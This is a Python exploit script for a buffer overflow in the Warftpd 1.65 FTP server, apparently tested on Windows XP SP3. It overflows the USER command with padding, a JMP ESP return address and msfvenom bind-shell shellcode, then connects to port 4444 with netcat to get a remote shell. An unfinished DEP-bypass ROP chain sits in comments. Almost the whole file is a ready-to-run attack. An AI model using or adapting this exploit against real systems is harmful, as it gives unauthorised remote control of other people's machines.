#!/usr/bin/python

# Exploit for Warftpd 1.65
# Has been tested in: Windows XP SP3 English
# This exploit hasn't been finished yet, i will later make it able to bypass DEP

import socket
import sys
import time
import os

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -f py -b "\x00\x0a\x0d\x40"

buf =  ""
buf += "\xda\xc1\xb8\xc3\x95\x39\xbe\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x53\x83\xc5\x04\x31\x45\x13\x03\x86\x86\xdb"
buf += "\x4b\xf4\x41\x99\xb4\x04\x92\xfe\x3d\xe1\xa3\x3e\x59"
buf += "\x62\x93\x8e\x29\x26\x18\x64\x7f\xd2\xab\x08\xa8\xd5"
buf += "\x1c\xa6\x8e\xd8\x9d\x9b\xf3\x7b\x1e\xe6\x27\x5b\x1f"
buf += "\x29\x3a\x9a\x58\x54\xb7\xce\x31\x12\x6a\xfe\x36\x6e"
buf += "\xb7\x75\x04\x7e\xbf\x6a\xdd\x81\xee\x3d\x55\xd8\x30"
buf += "\xbc\xba\x50\x79\xa6\xdf\x5d\x33\x5d\x2b\x29\xc2\xb7"
buf += "\x65\xd2\x69\xf6\x49\x21\x73\x3f\x6d\xda\x06\x49\x8d"
buf += "\x67\x11\x8e\xef\xb3\x94\x14\x57\x37\x0e\xf0\x69\x94"
buf += "\xc9\x73\x65\x51\x9d\xdb\x6a\x64\x72\x50\x96\xed\x75"
buf += "\xb6\x1e\xb5\x51\x12\x7a\x6d\xfb\x03\x26\xc0\x04\x53"
buf += "\x89\xbd\xa0\x18\x24\xa9\xd8\x43\x21\x1e\xd1\x7b\xb1"
buf += "\x08\x62\x08\x83\x97\xd8\x86\xaf\x50\xc7\x51\xcf\x4a"
buf += "\xbf\xcd\x2e\x75\xc0\xc4\xf4\x21\x90\x7e\xdc\x49\x7b"
buf += "\x7e\xe1\x9f\x16\x76\x44\x70\x05\x7b\x36\x20\x89\xd3"
buf += "\xdf\x2a\x06\x0c\xff\x54\xcc\x25\x68\xa9\xef\x58\x35"
buf += "\x24\x09\x30\xd5\x60\x81\xac\x17\x57\x1a\x4b\x67\xbd"
buf += "\x32\xfb\x20\xd7\x85\x04\xb1\xfd\xa1\x92\x3a\x12\x76"
buf += "\x83\x3c\x3f\xde\xd4\xab\xb5\x8f\x97\x4a\xc9\x85\x4f"
buf += "\xee\x58\x42\x8f\x79\x41\xdd\xd8\x2e\xb7\x14\x8c\xc2"
buf += "\xee\x8e\xb2\x1e\x76\xe8\x76\xc5\x4b\xf7\x77\x88\xf0"
buf += "\xd3\x67\x54\xf8\x5f\xd3\x08\xaf\x09\x8d\xee\x19\xf8"
buf += "\x67\xb9\xf6\x52\xef\x3c\x35\x65\x69\x41\x10\x13\x95"
buf += "\xf0\xcd\x62\xaa\x3d\x9a\x62\xd3\x23\x3a\x8c\x0e\xe0"
buf += "\x4a\xc7\x12\x41\xc3\x8e\xc7\xd3\x8e\x30\x32\x17\xb7"
buf += "\xb2\xb6\xe8\x4c\xaa\xb3\xed\x09\x6c\x28\x9c\x02\x19"
buf += "\x4e\x33\x22\x08"

#  def create_rop_chain():                                                                                                                 
                                                                                                                                          
#    # rop chain generated with mona.py - www.corelan.be
#    rop_gadgets = [
#      0x00000000,  # [-] Unable to find API pointer -> eax
#      0x7ca3bce0,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll]
#      0x7cba307a,  # XCHG EAX,EBP # RETN [SHELL32.dll]
#      0x7ca54741,  # POP EDX # RETN [SHELL32.dll]
#      0x00000022,  # 0x00000022-> edx
#      0x7ca27d94,  # POP ECX # RETN [SHELL32.dll]
#      0x7c9c3658,  # &0x00000002 [SHELL32.dll]
#      0x7cb01191,  # POP EBX # RETN [SHELL32.dll]
#      0xffffffff,  # 0xffffffff-> ebx
#      0x7cb1c0d1,  # POP EAX # RETN [SHELL32.dll]
#      0x00000004,  # 0x00000004-> eax
#      0x7ca29a62,  # POP EDI # RETN [SHELL32.dll]
#      0x7ca29a62,  # skip 4 bytes [SHELL32.dll]
#      0x7ca2e027,  # PUSHAD # RETN [SHELL32.dll]
#    ]
#    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

#  rop_chain = create_rop_chain()

# SHLWAPI JMP ESP 77FAB277

jmpesp= "\x77\xB2\xFA\x77"

hostname = sys.argv[1]
username = "A" * 485 + jmpesp + "\x90" * 16 + buf + "C" * (1024 - 485 - 20 -len(buf)) 
password = "A"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
       s.connect((hostname,21))
       print "[*] The program has successfully connected to the server."
       print "[+] Sending our payload...this will take a minute"
       response = s.recv(2000)
       print response
except:
       print "[!] The program didn't recieve a response from the target."
       sys.exit(1)

s.send("user %s\r\n" %username)
response = s.recv(2000)
print response

s.send("pass %s\r\n" %password)
response = s.recv(2000)
print response
print "A netcat connection is being stablished, please wait."

time.sleep(5)

try:
       os.system('nc ' + hostname + ' 4444')
except:
       print "Your system doesn't have netcat or the session has failed."

s.close()






